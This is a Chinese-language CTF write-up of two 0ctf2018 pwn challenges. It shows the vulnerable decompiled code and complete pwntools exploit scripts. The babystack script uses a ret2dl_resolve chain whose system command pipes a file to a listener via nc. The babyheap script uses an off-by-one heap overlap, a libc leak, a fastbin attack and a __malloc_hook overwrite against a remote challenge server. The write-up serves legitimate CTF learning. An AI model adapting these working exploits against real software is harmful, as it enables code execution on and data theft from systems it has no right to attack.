0ctf2018 pwn
阿新 • • 發佈:2018-08-04
stack .so 過濾 cat head arc 大小 overlap offset
前言
對 0ctf2018
的 pwn
做一個總結
正文
babystack
漏洞
非常直接的 棧溢出
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}
這個題的難點在於 用 python
啟動了該程序同時過濾了 stdout
和 stdout
#!/usr/bin/python -u # encoding: utf-8 from pwn import * import random, string, subprocess, os, sys from hashlib import sha256 os.chdir(os.path.dirname(os.path.realpath(__file__))) def proof_of_work(): chal = ‘‘.join(random.choice(string.letters+string.digits) for _ in xrange(16)) print chal sol = sys.stdin.read(4) if len(sol) != 4 or not sha256(chal + sol).digest().startswith(‘\0\0\0‘): exit() def exec_serv(name, payload): p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file(‘/dev/null‘,‘w‘), stderr=subprocess.STDOUT) p.stdin.write(payload) p.wait() if __name__ == ‘__main__‘: proof_of_work() payload = sys.stdin.read(0x100) exec_serv(‘./babystack‘, payload)
利用
無輸出,使用 ret to dl_resolve
.
#coding:utf-8 import sys sys.path.append(‘./roputils‘) import roputils from pwn import * from hashlib import sha256 context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘] fpath = ‘./babystack‘ offset = 44 # 離覆蓋 eip 需要的距離 command_len = 60 # system 執行的命令長度 readplt = 0x08048300 bss = 0x0804a020 vulFunc = 0x0804843B p = process(fpath) rop = roputils.ROP(fpath) addr_bss = rop.section(‘.bss‘) # step1 : write shStr & resolve struct to bss # buf1 = rop.retfill(offset) buf1 = ‘A‘ * offset #44 buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100) p.send(buf1) log.info("首先 rop 調用 read, 往 .bss 布置數據") buf2 = ‘head exp.py | nc 127.0.0.1 8888\x00‘ buf2 += rop.fill(command_len, buf2) buf2 += rop.dl_resolve_data(addr_bss+command_len, ‘system‘) buf2 += rop.fill(100, buf2) p.send(buf2) log.info("布置 bss, 在 bss+command_len 處解析出 system 的地址") #step3 : use dl_resolve_call get system & system(‘/bin/sh‘) buf3 = ‘A‘*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss) p.send(buf3) log.info("布置好後,通過 dl_resolve_call, 調用 system") p.interactive()
babyheap
漏洞
漏洞位於 update
函數時,可以往分配的內存多寫入一字節的數據
int __fastcall update(obj *table) { unsigned __int64 size; // rax signed int idx; // [rsp+18h] [rbp-8h] int size_; // [rsp+1Ch] [rbp-4h] printf("Index: "); idx = get_num(); if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 ) { printf("Size: "); LODWORD(size) = get_num(); size_ = size; if ( size > 0 ) { size = table[idx].size + 1; // size = 分配的內存size + 1 if ( size_ <= size ) { printf("Content: "); read_to_buf(table[idx].heap, size_); // 可以溢出一個字節 LODWORD(size) = printf("Chunk %d Updated\n", idx); } } } else { LODWORD(size) = puts("Invalid Index"); } return size; }
利用
- 利用
off-by-one
來overlap chunk
. 然後利用 分配unsorted bin
的切割機制,拿到libc
地址 - 再次
overlap chunk
,構造0x40
大小的fastbin
,修改0x40
大小的fastbin
的第一個chunk
的fd
為0x61
- 分配一個
0x40
的fastbin
, 此時main_arean->fastbin
中就會出現0x61
, 用來fastbin
攻擊 - 再次
overlap chunk
,構造0x60
大小的fastbin
, 修改0x60
大小的fastbin
的第一個chunk
的fd
為main_arean->fastbin
。 fastbin attack
分配到main_arean
, 然後修改main_arean->top
為__malloc_hook - 0x10
, 然後分配內存,修改__malloc_hook
為one_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import *
context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘]
context(os=‘linux‘, arch=‘amd64‘, log_level=‘info‘)
env = {"LD_PRELOAD": "./libc-2.24.so"}
# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)
def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content)
def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
code_base = 0x555555554000
gdb_command = ‘‘‘
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
‘‘‘ %(hex(code_base + 0x000FA9))
# gdb.attach(p, gdb_command)
# pause()
allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3
update(0,0x19, "a" * 0x18 + "\x91")
delete(1)
allocate(0x38) # 1
view(2)
p.recvuntil("]: ")
lib = ELF("./libc-2.24.so")
# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols[‘__malloc_hook‘] - 0x68
malloc_hook = lib.symbols[‘__malloc_hook‘] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68
one_gad = libc + 0x3f35a
# bins = libc + 0x3c4b78
# bins = malloc_hook
log.info("libc: " + hex(libc))
allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9
delete(5)
delete(6)
delete(8)
update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6
# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8
allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause()
payload = p64(0x0)
payload += p64(0xc1)
update(7,len(payload), payload)
log.info("make 0x180‘s size 0xc1")
delete(11)
pause()
allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))
delete(0)
# delete(1)
delete(2)
allocate(0x58) # 0
allocate(0x58) # 2
payload = ‘a‘ * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3
print hex(len(payload))
update(2, len(payload), payload)
delete(0)
allocate(0x28)
payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2
update(11,len(payload), payload)
allocate(0x28)
update(12, 8, p64(one_gad))
log.info("done")
# pause()
allocate(0x10)
p.interactive()
# x/30xg 0x429C0F050000
0ctf2018 pwn